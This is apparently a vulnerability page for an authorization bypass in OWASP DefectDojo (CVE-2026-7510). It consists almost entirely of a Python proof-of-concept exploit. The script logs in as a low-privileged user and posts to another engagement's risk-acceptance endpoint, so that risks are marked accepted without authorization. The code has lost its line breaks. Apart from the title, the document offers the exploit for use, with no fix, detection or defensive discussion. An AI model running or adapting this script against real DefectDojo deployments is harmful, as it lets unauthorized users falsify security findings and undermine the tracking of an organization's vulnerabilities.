CVE-2026-7510 OWASP DefectDojo授权绕过漏洞

import requests # Target URL configuration target_url = "http://example.com/api/v2/engagements" login_url = "http://example.com/api/v2/auth" # Attacker's low-privileged credentials credentials = { "username": "low_priv_user", "password": "password123" } def exploit(): session = requests.Session() # Step 1: Authenticate as low-privileged user print("[+] Logging in as low-privileged user...") auth_resp = session.post(login_url, json=credentials) if auth_resp.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Attempt to access/modify a restricted resource (e.g., Engagement ID 100) # The vulnerability allows bypassing authorization checks on this endpoint target_id = 100 # ID belonging to another user or restricted context exploit_endpoint = f"{target_url}/{target_id}/accept_risk/" payload = { "accepted": True, "note": "Unauthorized risk acceptance via IDOR" } print(f"[+] Sending exploit request to {exploit_endpoint}...") exploit_resp = session.post(exploit_endpoint, json=payload) if exploit_resp.status_code == 200 or exploit_resp.status_code == 201: print(f"[!] Exploit successful! Authorization bypassed.") print(f"[+] Response: {exploit_resp.text}") else: print(f"[-] Exploit failed. Status code: {exploit_resp.status_code}") if __name__ == "__main__": exploit()